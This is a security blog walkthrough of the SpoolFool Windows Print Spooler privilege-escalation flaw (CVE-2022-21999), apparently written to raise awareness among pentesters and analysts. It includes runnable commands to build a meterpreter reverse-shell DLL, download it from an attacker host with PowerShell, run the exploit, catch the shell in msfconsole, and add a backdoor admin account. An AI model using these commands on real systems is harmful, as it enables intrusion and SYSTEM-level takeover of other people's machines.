Oliver Lyak posted a write-up about a Windows Privilege Escalation vulnerability that persisted in Windows systems even after patching of previous vulnerabilities in Print Spooler CVE-2020-1048 and CVE-2020-1337. Oliver was assigned CVE-2022-21999 for this vulnerability and commonly named it “SpoolFool.” In this article, we will discuss the technical details associated with the same and demonstrate two methods through which an attacker can leverage and gain escalated privileges as NT AUTHORITY\SYSTEM.
Related advisories: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999
Related CVEs: CVE-2022-21999, CVE-2020-1030, CVE-2020-1337, CVE-2020-1048
The vulnerability allows an unprivileged user to create arbitrary and writeable directories by configuring the SpoolDirectory attribute on a printer. Since an unprivileged user is allowed to add remote printers, an attacker can create a remote printer and grant EVERYONE the right to manage this printer. This would return a handle with PRINTER_ACCESS_ADMINISTER right which can be further used to perform tasks such as DLL injection.
Print spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:
Application: The print application creates a print job by calling Graphics Device Interface (GDI).
GDI: GDI includes both user-mode and kernel-mode components for graphics support.
winspool.drv is the interface that talks to the spooler. It provides the RPC stubs required to access the server.
spoolsv.exe is the spooler’s API server. This module implements message routing to print provider with the help of router (spoolss.dll)
spoolss.dll determines which print provider to call, based on a printer name and passes function call to the correct provider.
When a user prints a document, a print job is spooled to a predefined location referred to as the spool directory. The default location is C:\Windows\System32\spool\PRINTERS. This directory is by default writeable by everyone as everyone uses the printer (FILE_ADD_FILE permission. Read more here), and the Spool Directory is configurable on each printer.
Workflow of the CVE 2020-1030
I would highly recommend reading Victor Mata’s post here before trying to demonstrate the vulnerability yourself. But for people who don’t like to get into too much technicality, here is a summary of how the vulnerability shall be exploited.
As you can see the intended directory in the pszData variable doesn’t exist already.
It could be understood in simpler terms like this:
After the issue was patched by Microsoft, Oliver Lyak in his post here mentions Microsoft’s patches and how he circumvented them. Thus, he proposed the following two enhancements for this vulnerability patch and was assigned CVE 2022-21999:
“If a user adds a remote printer, the printer will inherit the security properties of the shared printer from the printer server. As such, if the remote printer server allows EVERYONE to manage the printer, then it’s possible to obtain a handle to the printer with the PRINTER_ACCESS_ADMINISTER access right, and SetPrinterDataEx would update the local registry as usual”
Why only C:\Windows\System32\spool\drivers\x64 ? => This is the printer driver directory. Point and Print is a printer sharing technology designed for driver distribution. In Point and Print, installation is extendable with a custom Point and Print DLL.
When CopyFiles\\ is used with SetPrinterDataEx, it initiates a sequence of Point and Print. If the directory specified is a Printer Driver Directory, Point and Print is triggered and the DLL placed in this is loaded to the existing process spoolsv.exe
For the demonstration, we will use the original PoC created by Oliver Lyak which could be downloaded from here.
git clone https://github.com/ly4k/SpoolFool cd SpoolFool ls
As you may observe, the PoC comes with an EXE file and a pre-made DLL payload.
First, we compromise the system and gain a reverse shell. As you can see, a user hex has been compromised and NT AUTHORITY\INTERACTIVE exists on the system. If hex has a local account (not applicable on domain accounts), he is by default a member of this group.
whoami /user /groups
Now, we shall create our own custom DLL first using msfvenom. I’m using a meterpreter injection as payload but the choices are numerous.
msfvenom -p windows/x64/meterpreter/reverse_tcp -ax64 -f dll LHOST=192.168.0.20 LPORT=9501 > reverse_64bit.dll
We just need to upload this on our victim machine. I recommend C:\Users\Public. You can start a python server and host SpoolFool.exe and reverse_64bit.dll files in the same location. This can be done using powershell module IWR
powershell -c iwr http://192.168.0.20/reverse_64bit.dll -outf \Users\Public\reverse.dll powershell -c iwr http://192.168.0.20/SpoolFool.exe -outf \Users\Public\SpoolFool.exe
Now, we can run the exploit and load this DLL with the following command. Before running it, make sure to set up multi/handler in msfconsole.
SpoolFool.exe -dll reverse.dll
Observe here, how a directory has been made in %temp%\d5f5….{random name} and a reparse point has been created to write into our desired print driver directory C:\Windows\system32\spool\DRIVERS\x64\4
The directory didn’t exist before, but now you can see, it exists and the DLL has been saved in here. Which means success! The directory is also writable by everyone.
Anyhow, the DLL is now loaded and we have received a reverse shell!
msfconsole use multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.0.20 set LPORT 9501 run
We can check the current user’s permissions and as you can see, privileges have been escalated!
Author has already created a DLL called AddUser.dll in the project directory that would allow us to add a new user called “admin” with Administrator privileges and the default password “Passw0rd!”
Let’s compromise our victim again and see his own membership.
whoami net user hex
Hex user doesn’t have administrator access. Now, we run the SpoolFool.exe exploit again but include this DLL this time.
SpoolFool.exe -dll Adduser.dll
Now, upon checking users, we can see an admin user has been added who is a part of Administrators!
net user net user admin
We can use these credentials to do a number of things now! Login using psexec, login via RDP etc. I tried a simple smbclient shell to check the validity of the credentials and as you can see, privileges have been escalated and we can interact with the victim as admin now!
As per the author: A quick check with Process Monitor reveals that the Spool Directory is no longer created when the Spooler initializes. If the directory does not exist, the Print Spooler falls back to the default spool directory.
Windows privilege escalation has always been tricky from a pentester’s point of view. Print Spool exploits have tried and made that statement a myth. The arbitrary file writing vulnerability as been marked as SEVERE by the Microsoft MSRC bulletin because of how easy it is to exploit and escalate privileges. Through this article, we mean to spread awareness to analysts and encourage them to timely update their patches. Hope you liked the article. Thanks for reading. Do connect with me on LinkedIn in case of any queries.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here